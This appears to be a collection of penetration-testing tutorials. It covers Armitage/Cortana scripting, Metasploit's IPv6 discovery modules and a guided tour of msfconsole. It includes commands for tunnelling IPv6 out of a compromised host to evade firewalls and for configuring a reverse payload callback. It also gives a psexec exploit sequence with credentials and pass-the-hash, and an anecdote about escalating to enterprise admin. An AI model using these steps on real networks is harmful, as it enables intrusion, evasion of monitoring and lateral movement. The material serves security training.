You may also use Cortana scripts to extend Armitage and add new features to it. Cortana scripts may define keyboard shortcuts, insert menus into Armitage, and create simple user interfaces.

To load a script into Armitage, go to Armitage -> Scripts. Press Load and choose the script you would like to load. Scripts loaded in this way will be available each time Armitage starts.

Output generated by bots and Cortana commands are available in the Cortana console. Go to View -> Script Console.



Cortana is a full featured environment for developing red team bots and extending Armitage. If you’d like to learn more, take a look at the following resources:

Cortana Tutorial for Scripters

Public Cortana Script Repository

How to Explore the IPv6 Attack Surface with Metasploit

How to Explore the IPv6 Attack

Surface with Metasploit


IPv6 is often described as a parallel universe, co-existing alongside existing IPv4 infrastructure in a bid to ease the transition process. Often left unmanaged and unmonitored in networks, those IPv6 packets could provide a great opportunity for the savvy attacker. Thanks to the Metasploit framework, exploring the IPv6 attack surface has become a lot easier.

Earlier this year, the creators of the Metasploit Framework introduced support for IPv6. Adding tools to allow attackers and defenders to explore this brave new world, and the increased attack surface it can offer.

In this article we will introduce Metasploit’s three IPv6 enumeration modules, how to use them, and what they are doing “under the hood”. We’ll also cover the core IPv6 concepts that allow these modules to function as they do. Finally, we’ll take a look a configuring an IPv6 tunnel from a compromised host, to allow the use of a reverse connection IPv6 payload over the IPv6 Internet.

I find few commands as satisfying to execute as “msfupdate”. To many this may sound like a strange statement, but there are plenty of people who will completely understand where I’m coming from.

Every time I enter “msfupdate”, I sit back in my chair and watch as my copy of the Metasploit Framework connects to the Metasploit servers and downloads the latest modules. I run that command at least daily, and every time I do, it always grabs me something new to dissect and work into my penetration-testing toolbox.

met 1

Figure 1. Typical output from “msfupdate” containing new additions and updates to existing

I’m often surprised by the frequency and volume of some of the updates, but really I shouldn’t be. After all, the whole purpose of the Metasploit project is to provide a modular framework that allows exploits to be written in a standardized fashion to encourage community collaboration. Still, it’s refreshing to see that even after the project transitioned from a “pure” open source project to commercially owned and operated one (Metasploit was acquired by Rapid 7 in 2009), the community is still contributing, and those contributions are still released under the original open-source license. According to Rapid 7, this will never change.

Earlier this year “msfupdate” fetched some updates that made me lean forward faster and look a little closer than perhaps I normally would. Metasploit downloaded a selection of modules with “IPv6” in the description.

IPv6 has been creeping into our lives over the past several years. Our operating systems, network equipment and phones have been gradually adding support for the new version of the protocol that will keep future networks and the internet running, when the current version of the internet protocol (IPv4) is finally retired due to address space exhaustion.

As you might expect, IPv6 offers some advantages over its predecessor. Primarily, the vast address space will ensure that theoretically every grain of sand on the planet could own an Internet connected device and not have to worry about hiding behind a NAT’ed IP. Additionally, IPv6 supports stateless auto-configuration – meaning that network administrators will no longer have to set up and manage DHCP servers, as IPv6 can “figure itself out” via the use of such mechanisms as neighbor discovery protocol messages sent via ICMP version 6.

This is by no means an extensive list of differences, but I’d like to pause and consider the second “advantage” of IPv6 I’ve just mentioned from a security perspective. It’s this feature of IPv6 that the first batch of Metasploit IPv6 modules take advantage of.

One thing should be made very clear before we go any further. IPv6 is not any more or less secure than IPv4. They both do different things in different ways, and understanding the differences is key for network administrators to successfully implement the new protocol in a secure fashion. The biggest insecurity in IPv6 at the moment is that there are very few IPv6-only networks out there.

99% of the time you’ll find spots of IPv6 traffic wandering across the same wires as its older sibling, quietly going about its business. Similarly, 99% of the time you can ask a network administrator what they think that traffic is up to and they’ll reply with something along the lines of “erm, well that’s just noise, we don’t use IPv6 yet”.

They likely aren’t doing anything with v6 just yet, but that doesn’t mean the devices sitting on the network aren’t. Out of the box, IPv6 is designed to “go find the quickest way to the Internet”. When you think of it like that, perhaps it’s time for network admins to “get all up” in IPv6’s business and see what it’s up to. After all, if devices are using it to communicate freely, then so can we.

Currently Metasploit features a handful of scanner modules for IPv6 discovery, and IPv6 enabled versions of its traditional payloads. A quick and easy way to locate the IPv6 modules is to run the command “search ipv6” from within the Metasploit Console (Figure 2).

 met 2

Figure 2. Currently Metasploit offers three auxiliary scanner modules for IPv6 discovery and multiple payloads that run over IPv6

Let’s take a moment to dissect the scanner modules, and what we can learn from them. First up is “ipv6_multicast_ping”, written by wuntee.

This module sends a number of ICMPv6 packets to the various IPv6 addresses that are defined as multicast addresses, to which all IPv6 enabled hosts should respond. Then it listens for the ICMPv6 echo-reply responses and records both the IPv6 address and the hardware (MAC) address of the responding host. Very quickly we can learn which hosts on our local network are IPv6 enabled. When configuring the module we have the option of specifying the source IPv6 address and source MAC. The only mandatory option is a timeout, which is set at 5 seconds by default (Figure 3).

met 3

Figure 3. Quickly locating nearby IPv6 enabled hosts with ipv6_multicast_ping

Let’s take a closer look at the IPv6 multicast addresses we ping with this module. IPv6 addresses have a “scope” in which they are considered valid and unique. This could be an address in the global scope, the site scope, link-local or interface local scope. Each scope features a well-known multicast address, which certain types of host are expected to join. The module has a sequential list of those addresses that it works its way through. We can pull those addresses from the Ruby code for the module.

FF01::1 – All nodes on the interface-local scope.

FF01::2 – All routers in the interface-local scope.

FF02::1 – All nodes in the link-local scope.

FF02::2 – All routers on the link-local scope.

FF02::5 – All OSPFv3 link state routers.

FF02::6 – All OSPFv3 designated routers.

FF02::9 – All RIP routers.

FF02::a – All EIGRP routers.

FF02::d – All Protocol Independent Multicast routers.

FF02::16 – Multicast Lister Discovery reports.

FF02::1:2 – All DHCP servers in the link-local scope.

FF05::1:3 – All DHCP servers in the site-local scope.

To better understand the idea of IPv6 scopes we can compare them to their IPv4 equivalents. The global scope is best compared to any public IP address range in IPv4. A global IPv6 address can uniquely identify a host on the Internet. Site-local should be considered equivalent to RFC1918 private IP addressing and is used within a specific site, such as an office. Interface-local is similar to an APIPA or 169.* IPv4 address, and is automatically generated to allow communication across a link without the need for any other routing information.

One difference between link-local addresses in IPv6 and IPv4 is that there always needs to be one assigned to every IPv6 enabled interface – even when it has other addresses. That means that as long as there is IPv6 on the network, there will be link-local addresses in the link-local multicast scope. You can spot a link-local address because it will have the prefix “fe80”. As you might expect, these addresses cannot be routed over the Internet. So while they can be used to communicate with a machine in the same layer 2 broadcast domains as the host you are working from, if you want to be able to have fun across the IPv6 Internet, a global address is required. We’ll talk about obtaining one of those later.

Our next Metasploit module is “ipv6_neighbor”, created by belch <>. This enumeration module takes advantage of Neighbor Discovery Protocol (NDP). NDP uses a subset of ICMPv6 packets used by IPv6 to perform various auto-configuration and link state monitoring tasks to find the link-local addresses of IPv6 hosts within the same segment.

As an aside, one such NDP task is determining if it’s intended link-local address is already in use. This process, imaginatively called duplicate address detection (DAD), is actually prone to denial of service. Tools exist, although not presently modulized in Metasploit, which will respond to all DAD requests with “address in use” messages. This will prevent any new IPv6 devices that join the network from configuring a link-local address, as every option it advertises will be reported as a duplicate. One such tool for this task is “dos-new-ip6” written by van Hauser.

Back to the module in question. Its purpose is to take an IPv4 range and show you the relationship between the IPv4 and IPv6 addresses on the target network. This allows you to quickly identify which hosts are dual-stacked, that is, running both IPv4 and IPv6 side by side (Figure 4).

 met 5

Figure 4. Mapping the relationship between IPv4 and IPv6 link-local addresses

To do this it actually completes two tasks as part of its execution. The first is a blast from the past – we perform an ARP sweep of the given IPv4 range, to learn the MAC address of each IPv4 host. Secondly it will send an ICMPv6 neighbor solicitation packet, from which we’ll learn the MAC address of the IPv6 enabled host. Compare the two MAC addresses, if any match – we have our mapping.

Seeing these two processes side-by-side is interesting as ICMPv6 neighbor discovery is IPv6’s ARP replacement, and we can compare the way they go about doing the same job. Unlike IPv4, IPv6 does not implement broadcast. The reason for this is efficiency. Traditional ARP uses broadcast to query all the hosts on the subnet to find the MAC address of an IPv4 host so it can make a layer 2 delivery. In other words, everyone gets bugged every time someone wants to locate a MAC address.

In IPv6, the process relies on multicasting – which is means that fewer hosts get bugged and the address resolution process is much quicker.

Neighbor solicitation packets are sent to a special kind of multicast address – known as a solicited-node multicast address. Each IPv6 interface will have such an address and its purpose is to provide the layer 2 (mac address) of the host. These addresses are generated using an simple algorithm, which will drop all but the last 24 bits of the hosts regular unicast address and append it with the prefix FF02::1:FF00:0/104.

Using Wireshark to capture the ICMPv6 packets sent out by the Metasploit module we can see these addresses in action (Figure 5).

 met 6

Figure 5. ICMPv6 NDP packets, sent initially to the solicited-node multicast addresses of each host

Notice how in packets 231 and 232, we send a neighbor solicitation to the solicited-node multicast address ff02::1:ff8f:ddb3, and we get our response back in the form of a neighbor advertisement from the unicast link-local address of the host (fe80::7256:81ff:fe8f:ddb3). An ICMPv6 neighbor advertisement can either be sent in response to a solicitation, as we’ve just shown, or it can be sent unsolicited to an all-node multicast address to inform neighbors of a change in address or link state.


The final scanner module currently in Metasploit is ipv6_neighbour_router_advertisement, which like ipv6_multicast_ping is also written by wuntee.

ICMPv6 router advertisements and solicitations are fairly similar to neighbor advertisements and solicitations, but as you can probably guess, are used to discover routers rather than “regular” hosts. Routers transmit advertisements on a regular basis via multicast, and also in response to router solicitations from hosts on the network.

This module will aim to enumerate link-local IPv6 addresses by crafting and transmitting false router advertisements for a new network prefix via multicast. In turn this will trigger any hosts in that multicast scope to start the auto-configuration process, create a new global IPv6 address on its interface and send a neighbor advertisement for that address. The module will then manipulate the IPv6 address in the advertisement, dropping the newly acquired global prefix and replacing it with the standard link-local prefix. Finally, to confirm that the enumerated address is in fact alive it will send out a neighbor solicitation message.

This works under the assumption that the operating system uses the same interface portion of the IPv6 address on all of its addresses (Figure 6).

met 7

Figure 6. Using false router advertisements with “ipv6_neighbor_router_advertisement” to obtain link-local addresses

So let’s take a closer look at the module in action. We don’t need to provide any options other than a couple of timeout parameters, which by default are set at 5 and 1 seconds respectively. Once we run the module it will begin sending advertisements for the network prefix 2001:1234:dead:beef to the multicast address FF02::1, which as we know from earlier is “all nodes in the link-local scope”. Incidentally, this network prefix is hard coded into the module’s source (Figure 7).

Upon receipt of the advertisement all hosts on the local scope will begin auto-configuration of a new IPv6 address within the new prefix (Figure 8).

 met 8

Figure 7. Sending an ICMPv6 router advertisement message for the network prefix “2001:1234:dead:beef”, as captured by Wireshark

Of the three enumeration modules we’ve looked at, this is by far the nosiest and therefore the most likely to be detected. We are actually taking the time to set an address on the remote host, and there is no guarantee that the interface portion of the new address will match the link-local address calculated by the module. Some systems implement randomization in the interface portion. Having said that, it’s always good to have different ways of achieving the same goal!

met 9

met 82

Figure 8. Two outputs of “ifconfig” on a Mac OS X machine on the same network as our Metasploit instance. The first output is pre-false advertisement, the second is just after. Notice the addition of a “dead:beef” IPv6 address, thanks to auto-configuration

So far we’ve concentrated on the auxiliary modules in the Metasploit framework and doing some basic IPv6 enumeration in the link-local scope. This is an important first step and assumes that you already have some sort of foothold into the network, but let’s say we now want to take things one-step further. We are going to try a break out onto the IPv6 Internet, and that means we’ll need a tunnel.

The idea of tunneling out using IPv6 encapsulated in IPv4 packets is a very attractive proposition, as many controls, such as IPS/IDS and firewalls will not be configured to alert on or prevent such traffic leaving.

So the scenario is as follows – we’ve compromised a Linux machine using Metasploit and we have a shell. The host has IPv6 support and a link-local address. Now we want to create a global IPv6 address on the box to allow it to communicate back to us over the IPv6 Internet for extra obscurity.

You need two things to get an IPv6 tunnel to work – a tunnel broker, of which there are plenty, many of them are free of charge. Secondly, if the box you are working on is behind a NAT device, it must support the forwarding of protocol 41 – in other words, IPv6 encapsulated in IPv4. If we are behind a NAT device that doesn’t forward protocol 41, we are out of luck (Figure 9).

met 92

Figure 9. On the compromised Linux host “webapp1”, eth0 has an IPv4, and link-local IPv6 address

For the purposes of this example I’ll be using a tunnel provided by Hurricane Electric ( Once signed up, the tunnel broker provides both a client and server IPv6 address, and an IPv4 address of the tunnel broker server.

These values will be as follows: Tunnel Server IPv4 address – Tunnel Server IPv6 address – 2001:DB8::20

Target Network Outside NAT IPv4 address –

Target Machine IPv4 Address –

Target Machine IPv6 Address – 2001:DB8::21


You may have noticed the outside IPv4 and IPv6 addresses used in this example will not work in real life. The IPv6 address prefix I’ve used is reserved for documentation, and is not routable over the Internet.

When configuring the tunnel in the site, you must provide the outside IPv4 address of the target. It should also be noted, that site requires that this address responds to ping (Figure 10).

 met 10

Figure 10. Signing up for an IPv6 tunnel from Hurricane Electric (

Back on our victim machine, we run a few commands to bring up the new tunnel interface and set up a route to ensure all IPv6 traffic goes via that new interface.

ip tunnel add ipv6inet mode sit remote local ttl 255” – This creates a SIT (simple internet transition) interface named ipv6inet and defines the local and remote IPv4 addresses for the tunnel endpoints, or in other words, the IP of the target machine and tunnel server.

ip link set ipv6inet up” – This brings the tunnel interface up.

ip addr add 2001:db8::21 dev ipv6inet – This assigns the IPv6 address to the interface.

ip route add ::/0 dev ipv6inet – This command will add a route to send all IPv6 traffic across the new tunnel interface (Figure 11).

 met 11

Figure 11. Creating an IPv6 tunnel interface on the target machine

A quick way to confirm that the IPv6 Internet is now within our reach is to use the ping6 utility to hit an IPv6 website. In this case, which has the address 2607:f8b0:400e:c00::93.

 met 12

Figure 12. Sending ping packets to Google over the IPv6 Internet using our new tunnel interface

This tunnel can now be used by a Metasploit reverse connection payload to connect to an attacker with a global IPv6 address of their own, which of course can be obtained in exactly the same way as we’ve just shown.

Let’s say in this example we want our payload to connect back to us at the address 2001:db8::99 (Figure 13).

met 13

Figure 13. Setting up an IPv6 payload in Metasploit

Configuring an IPv6 payload in Metasploit is essentially the same as an IPv4 payload, but there are a couple of minor differences. Obviously, you must specify an IPv6 address for your listener (or target if a binding payload), and also if using a link-local address on a host with multiple interfaces, you should specify the scope ID.

To summarize, let’s take one last look at the scenario we’ve just discussed (Figure 14).

met 14

Figure 14. An overview of our IPv6-over-IPv4 tunnel set u


For many out there, the mere sight of an IPv6 address is enough to put them off learning more about the protocol. This is the biggest vulnerability in IPv6, and like most security vulnerabilities, it’s a human problem. The protocol is being adopted in devices at a much quicker rate than people are willing to manage and configure it properly.

For attackers, this provides great opportunities to jump on the unmanaged jumble and use it to build something that can be used to move around networks in ways that the owners of those networks aren’t expecting.

For defenders, this means developing a whole new security model with emphasis on securing the endpoints rather than the perimeter. After all, IPv6 doesn’t hide behind NAT like its predecessor.

By introducing IPv6 payloads and modules the Metasploit framework has given both groups new tools to better understand and manipulate the IPv6 protocol. Of course, we are only just getting started. The nature of the Metasploit community is to constantly build, innovate and improve upon what is already in place. These initial modules will act as a catalyst for further development in IPv6 enumeration and exploitation. Remember that the next time you run “msfupdate”, and keep one eye open for new ways to use IPv6 for exploitation.

The Metasploit Framework

Ever wanted a tour of the Metasploit Framework (MSF)? If you have basic command line skills, and a working knowledge of networking and how hosts are compromised, you can take a guided tour from someone who started as a tourist and ended up as a tour guide. You’ll see how you can use MSF for all sorts of tasks and learn to write your own magic for yourself or to share. The tour doesn’t make every possible stop, but you’ll be informed, entertained, and well on your way to mastering Metasploit.


SA, no password” anyone? ( – “allows vulnerability to a worm.” Wat? Who writes like this? Sidestepping the suspect grammar, how about ‘allows utter pwnage’?) As the rest of the assessment team was furiously mashing the keyboards, I was afraid to attempt much without specific direction for fear of doing catastrophically bad things to the network. Well, there was another “new guy” on the team. He was new to our unit, but, as it turns out, he was not remotely new to the game. He is known most commonly, I would find out later, as “MC”, but Mario was “hacking the Gibson (If you didn’t get that joke, go watch “Hackers” again)” years before he helped me. Mario noticed I was a bit idle, and said “try this…” I’ll paraphrase the whole conversation with some code:

for IP in `cat ips.txt`; do ./msfcli mc_magical_script RHOST=$IP C;done

I’m pretty sure Mario thought I was mentally challenged as I asked, Meta-what? What’s that? Why do I need the “./” part again? What’s the looping syntax? How do I get this script into my Metasploit installation? Now, in my defense, no one on the team, that I know of, had heard of Metasploit, or at least no one was using it. This is Metasploit 2, the one written in Perl ( Mario had written this module which checked for ‘SA’ and a null password for Microsoft SQL servers, which at the time were installed that way by default by various things, most notoriously MS-SQL itself, and quietly by Visio. Summarizing, we found a handful of SQL servers with this vulnerability (in a ~20k-node network), connected to one of the servers, ran xp_cmdshell, added ourselves as an admin user, pushed admin tools, queried the domain controller for domain admins, and low and behold, each SQL server had an SQL account which was a member of the ‘Enterprise Admins’ group. We impersonated that access token and boom, enterprise admin.. We went from an unprivileged physical presence on the network to enterprise admin (so we had keys to all the kingdoms) in 30 minutes. We later showed them our 5-min movie version. I learned many lessons that week (Some others: MC = smart, I like scripting, I like BASH, software vendors sometimes do stupid things), but chiefly that Metasploit was cool (Yes, there were many ways this task could have been done without Metasploit).

I looked into “this Metasploit thing” and I decided I liked the power, flexibility, and scriptability. I was not really fluent in any particular language, but I knew I loved to automate tasks, and I hated compiling, so I started to learn Perl. Shortly thereafter, Metasploit converted to Ruby and I was put into a management role and my learning time became very limited. When I inquired about (stack-based) buffer overflows, Mario said (paraphrased): “Try this,, port 6666. Go.” I made some progress, after some help, but soon I was too busy for additional learning, and not long after, I was out of the military and looking for a job.

I knew one thing: I wanted to do technical work and I was fortunate to get a job (At the Johns Hopkins University Applied Physics Laboratory (JHUAPL) in Laurel, MD. JHUAPL does some amazing research in and outside information security ( where my duties varied from administering test labs, performing pentesting and vulnerability assessments, and writing many scripts (Over 100 for one particular year-long project). Most importantly, I was free to solve problems in my own way and I was learning MSF in my free time. I started to use MSF to solve problems…unconventionally. In order to describe what I did, you need to understand Metasploit, what it is, what it isn’t, and most importantly, what it can be for you if you apply some effort and creativity.

What is Metasploit? Metasploit is first and foremost, an exploit development framework. However, its utility as a pentesting framework is undeniable, massive, and growing everyday; and is by far the easiest area for contributors to begin making an impact. In my observations, the majority of contributions to MSF are to what I would call the pentesting side vs the exploit side (which I generally consider to be exploit modules and supporting code such as encoders etc.). Metasploit is NOT a vulnerability scanner, there are other tools for that, many of which Metasploit integrates with nicely. A “pentesting and exploit development framework” is the most common description of MSF, but you can do all sorts of tasks including defensive ones. You can use it as a remote administration tool, or for host forensics, network auditing, etc., etc. Before we can discuss some of these uses however, we need to discuss the underlying architecture and usage of MSF.

pretty_print( # The Metasploit Framework Architecture

The Metasploit Framework’s overall architecture consists mainly of modules, libraries, and interfaces. There are also tools and plugins which leverage or extend the framework in some way. For example, the pattern_create tool creates a non-repeating string pattern which is most frequently used during exploit development. pattern_create leverages text libraries contained in the “Rex” (or Ruby EXploitation) family of libraries (see Figure 1). Whereas, the “sounds” plugin extends the framework and adds sounds for various framework events such as session creation (successful exploitation). The majority of included plugins extend a specific interface, usually the msfconsole interface, which is the most popular interactive interface and therefore has proportionally more plugins written for it. Later, we will discuss msfconsole in depth. The other interfaces (CLI or command-line, GUI or graphical, and RPC or remote procedure call) get less usage and attention these days, therefore we won’t discuss them in depth, however RPC is an excellent way to essentially run a headless Metasploit instance and control it locally or remotely with an entirely separate application or service.


Figure 1. The canonical depiction of the Metasploit Framework architecture

The MSF libraries provide the majority of the heavy-lifting. You do not have to concern yourself with most of the libraries until you are ready to contribute beyond the module level.

The base of the framework is a number of modules which are thematically grouped as follows.

modules.each {|module| puts} # Module Descriptions

There are 6 types of modules, exploit, payload, encoder, NOP, aux, and post, which we will discuss in a moment. It’s easiest to understand the modules based on their role in the workflow. A common workflow will often include the following pattern, or a subset of it: reconnaissance, exploitation, post exploitation, and further reconnaissance based on the new data and host access. Metasploit modules play mostly obvious roles in your workflows (Figure 2).


Figure 2. Common user workflow

However, some modules are most often used in the background. Most likely, you will interact with the 6 modules directly, or indirectly, in the following manner. You will probably first use an exploit module (assuming you already have a target in mind), wherein you will set a payload module and sometimes an encoder module. An encoder is used to rid a payload of any characters which may cause issues with successful payload execution, such as null (/x00). Encoders also assist in IDS/IPS avoidance, but they are NOT meant for anti-virus avoidance when writing a payload to disc in executable format (Payload != exectable. For an excellent description of how Metasploit generates executables see: Normally there is no need to write the payload to disc and AV avoidance is outside the scope of this article. The encoder module may or may not call on a NOP module to assist in adding entropy to no-op assembly instructions. When an exploit is successfully executed, the payload creates a “session” (there are some exceptions). The details of that session are payload-dependent. A session is not a module, but rather an MSF object, linking your Metasploit instance to the target, with which you or the framework can interact. Again, in most common workflows, the next event is running a post module on the session. It’s important to understand that exploit modules execute payloads which create sessions, and post modules run on those sessions. You can’t run a post module without at least one established session. Lastly auxiliary (aux) modules are run without a session (They can, however, be run through an existing session. This is known as pivoting and is essential for communicating with hosts which are not reachable directly from the Metasploit instance (i.e. the attacker). (continued) See the meterpreter ‘route’ command and the autoroute post module for more information), they are generally used for discovery, port scanning, and brute forcing etc. The case of brute forcing is one of the few times a session can result from a non-exploit module (that feature can be disabled, Figure 3).


Figure 3. Common user interaction with module workflow

Writing your own module is the easiest place to start adding functionality to the framework. Most people start by writing their own post modules because they often want to take some specific action on a host which is not already supported. By writing a module, the task becomes repeatable and easily automated. Additionally, there are so many existing post modules you can usually leverage one of them as a starting point. While writing a module is a great place to start adding functionality to the framework, it’s not nearly as easy as a resource file. Creating or writing a resource script (or file) is the simplest place you can start to automate the framework (The day I learned to use resource files is the day I switched full time from msfcli to msfconsole). Resource scripts are most commonly used to automate msfconsole in some way, and they are extremely easy to make and modify, once you understand basic msfconsole usage so…

msfconsole.usage # Using the Metasploit Console

Like any tool, the Metasploit Framework has a learning curve, but for most tasks, it is not steep, assuming the user is a pentester or has a basic exploitation and networking background. I’m assuming anyone reading this article is capable of navigating to, downloading the latest installer, and running it; therefore we will not discuss installation except to say that the installer is highly recommended as it carries all the dependencies and is the quickest way to get Metasploit up and running, especially if you want to use the builtin database.

Most users will interact with the framework via msfconsole, or simply the console. The console is invoked by running ‘msfconsole’ at the command line. Like most command-line applications and MSF commands, you can add ‘-h’ to see possible options. In most situations, the msfconsole options aren’t necessary, but they become very useful as a user progresses in skill, begins developing, or runs into problems (Figure 4).


Figure 4. The Metasploit console (msfconsole)

The console is command-line driven, but there’s always help you can consult without leaving the console itself. For help enter ‘help’ or simply ‘?’. For help with a specific command, run ‘help cmdname’ (usually cmdname -h will work as well, but not always) (You can even run ‘help help’, but you’ll find you won’t get much sympathy…). There are numerous commands which are grouped by theme, but commonly used commands can be found in the “Core Commands” group, and we’ll focus on some of those commands now (Table 1).

Table 1. Commonly used msfconsole commands (not exhaustive)




Help menu


Move back from the current context


Exit the console


Displays information about one or more modules


Save commands entered since start to a file


Sets the previously loaded module as the current module


Run the commands stored in a file


Saves the active datastores


Searches module names and descriptions


Dump session listings and display information about sessions


Sets a variable to a value


Sets a global variable to a value


Displays modules of a given type, or all modules


Unsets one or more variables


Unsets one or more global variables


Selects a module by name

First, a note on tab completion…USE IT. Nearly everything in msfconsole tab completes (You can even tab complete with regular expressions, try ‘use .*psexec<tab>’). Tab completion saves time and frustration (although the first time you use tab completion there can be a delay while the cache is built). The thing to remember is: Tab completion is your friend!

By far the most commonly used commands are ‘use’, ‘show’, and ‘set’. When you ‘use’ a module, you are selecting it as the top-level object in your workflow and msfconsole switches to a module-specific context and exposes new commands (This contextual environment is similar in concept to that of the Cisco IOS and the Windows netsh utility). For example, running use exploit/windows/smb/psexec will add the following commands to your environment (which as usual, can be seen by running ‘?’ or ‘help’) (Table 2).

Table 2. Commands added when an exploit module is loaded




Check to see if a target is vulnerable


Launch an exploit attempt


Open a Pry session on the current module


Reloads the module and checks if the target is vulnerable


Just reloads the module


Reloads the module and launches an exploit attempt

Loading other types of modules (payload, post etc.) will switch the context again and result in different added commands. Explore these new commands (especially ‘exploit’) as we will not be covering them in depth. Keep in mind however, you can load any type of module, but depending on your situation it may not make sense to try and ‘run’ the module. For instance you can load a post module, but if you do not have a session on which to run it, you won’t get far (On the other hand, some modules, such as payload, can be run in a stand-alone manner. You can ‘use’ a payload module, ‘set’ the pertinent options, and use the ‘generate’ command to output the payload in various formats. This can also be accomplished, outside msfconsole, using ‘msfpayload’ or ‘msfvenom’). The thing to remember is: You ‘use’ a module.

Once you’ve loaded a module, you can run the ‘info’ command if you aren’t sure what the module does. The info command will give you a nice description of the module. To proceed further, you normally have to set some module options and you do so using the ‘set’ command. How do you know what options are available to set? That’s where the ‘show’ command becomes your friend. ‘show -h’ reveals that ‘show’ takes various parameters, one of which is ‘options’. So running ‘show options’ while the psexec module is loaded yields: Figure 5.


Figure 5. Showing a module’s available options

Notice the display shows an option’s name and current setting, whether it is required, and its description. The thing to remember is: You ‘show options’. You should examine each option to determine the correct value, keeping in mind a required option must have a value set, and use the ‘set’ command to actually enter the value into the module’s datastore. The thing to remember is: You ‘set’ options. When you set an option, you are setting a value in the module’s datastore. In our case, RHOST is the only required option without a value. If we have a Windows host at, we ‘set RHOST You can tab complete options as long as you use the proper case, so ‘set RH<tab>’ will tab complete, but ‘set rh<tab>’ will not (although ‘set rhost’ will still set the value of RHOST). All required options are now set, but non-required options should always be examined and doing so shows that SMBPass and SMBUser are blank. That may or may not be acceptable depending on the configuration of the target host. More than likely, you need to set those options to a valid username and password for the target host. Most exploit modules don’t have user and password options, otherwise they would not be very effective exploits. The psexec exploit module is usually used as a follow-on attack after credentials have been obtained through other means. However, we can get a description of a module by running the ‘info’ command. Doing so on the psexec module reveals that SMBPass can also be a valid password hash (not just a clear-text password), which means we often don’t have to crack the password (This is known as “pass-the-hash” and is generally only effective against Windows hosts using LM or NTLM hashing. NTLMv2 is not vulnerable to this attack but is vulnerable to varieties of SMB-relay. See for an excellent summary). Admittedly psexec is not the sexiest of exploits. The psexec module is considered an exploit because you can use it to spread within a Windows enterprise and because it produces a session. Choosing a good a exploit module is a common problem and question. Generally, this is where a vulnerability scanner comes into play. However, in lieu of having or using a vulnerability scanner, and assuming you have reconnoitered the target environment as best you can, experience is the best guide (Sometimes you can use an exploit module’s ‘check’ command, but few exploit modules implement it these days as vuln scanners do it better, not to mention client-sides can’t really be checked). Use your domain knowledge to pick the best attack vector. After I’ve decided on the exploitation vector (server-side vs client-side for instance), I generally select the most recent applicable exploit module (you can use release date, Microsoft security bulletin numbers etc.). However, I never run a module before at least (It’s often best to do further research. Resources are abundant: the module’s source code, operating system security bulletins, vulnerability alerts,, CVEs etc) reading the description from the ‘info’ command and understanding any requirements or consequences of the module. Sometimes you’ll find that Java is required, or that the module only affects older versions of the target software, or that it causes a pop-up on the host etc. Sometimes, there are no viable exploitation vectors, so you might consider a brute force aux module. Experience plays a significant role in exploit selection, so we stick to psexec for now.

So far, we have run:

use exploit/windows/smb/psexec

show options


set SMBPass mypassy

set SMBUser tester

So what do we do now? Recall that loading the exploit module gave us new commands, one of which is ‘exploit’. Running ‘exploit’ will result in the following if the credentials are correct (Your experience will vary depending on the exact configuration of the host (domain membership, the user’s exact access rights, etc.), especially when the host is running a version of Windows newer than Windows XP SP3 and is not joined to a domain): Figure 6.


Figure 6. Running the psexec exploit module


There’s a lot going on there, but most of the output is related to SMB. However, we do see “Uploading payload” and our prompt has changed to “meterpreter” which is interesting since we did not specify a payload. Well, MSF will generally pick sane defaults when it can, and in this case not only did it pick the Meterpreter (more on this payload later) payload, it also picked a local interface and port for the session’s network traffic ( That’s helpful, but options such as these should not be left to chance (Especially since it is well known that Metasploit defaults to using port 4444). However, since ‘show options’ did not reveal these options, they were not obvious. If the currently active meterpreter session is backgrounded using the ‘background’ command or killed using ‘exit’ or ‘quit’ (don’t forget you could use ‘help’ to see the available commands), the context returns to its original appearance. Running ‘show options’ again yields an expanded options palette with a new “Payload options” (Figure 7) section. To explicitly set the payload instead of accepting the default, run ‘set PAYLOAD payloadname’. How would you discover valid payload names? You can use the help features to figure it out, and there are multiple possibilities. The most obvious and direct method at this point is to run ‘show payloads’ which will only show payloads valid for the currently loaded module (psexec), but still results in a very long list. You could also use the ‘search’ command, but additional search parameters are required to narrow the search (e.g. search type:payload name:meterpreter name:windows), which still results in a long list, and can be slow. You can also discover valid payloads by tab completing them right? Hint, hint. Based on the current payload setting (windows/meterpreter/reverse_tcp) you can gather that ‘set PAY<tab> windows/<tab>’ may begin to reveal valid payloads. Often it’s easiest and quickest to use the ‘find’ or ‘grep’ (recursively) shell commands in the modules/exploits directory. Regardless, you can use the ‘info’ command to learn more about each payload. Once you pick a payload, you may want to make use of the ‘setg’ command. The ‘setg’ command sets the value of an option in a global datastore, not the local module datastore. From this point forward, any module you load which does not already have the matching option set in the local module datastore, will take on the value in the global datastore set via ‘setg’. Running ‘setg PAYLOAD payloadname’ will essentially set a global default for the PAYLOAD option (did I mention you can tab complete that stuff?). It’s important to note however, that ‘setg’ does not override existing local module datastore settings. With experience, payloads become less daunting and tend to fall into groups such as “bind” (forward binding), “reverse” (reverse binding (The direction of the payload binding determines how the connection is initiated. Reverse payloads send the session connection to the attacker where an established server-side listener must be waiting. In this arrangement the target host becomes a network client)), unstaged and staged (Staged payloads are usually larger and are transmitted to the target host in chunks (or stages). The initial payload (the stager) allocates memory and uses the network to pull down additional stages), shell, meterpreter etc. You can run the ‘info’ command on any module using ‘info <module>’ (‘info payload/windows/meterpreter/reverse_tcp’ for example), however you will probably have to interact with and explore the payload to get an idea for what it can truly do. Remember to tab complete, it’s easier and will help you avoid typing “payloads” vs “payload” etc, which can be very frustrating. Custom payloads can be employed as well using the “generic/custom” payload setting. The meterpreter family of payloads (Windows, posix, Java, php) is by far the most capable, flexible, and robust. Egyp7 has been putting in a great deal of effort on the historically overlooked posix meterpreter and it has had a lot of functionality added. Most post modules are written for the meterpreter payload family.


Figure 7. Options for the windows/meterpreter/reverse_tcp payload

set PAYLOAD */meterpreter* # The Meterpreter Payload

Metasploit Unleashed sums up meterpreter quite well:

Meterpreter, the short form of Meta-Interpreter, is an advanced, multi-faceted payload that operates via [reflective] dll injection. The Meterpreter resides completely in the memory of the remote host and leaves no traces on the hard drive, making it very difficult to detect with conventional forensic techniques. Scripts and plugins can be loaded and unloaded dynamically as required and Meterpreter development is very strong and constantly evolving…”

( Reflective dll injection:

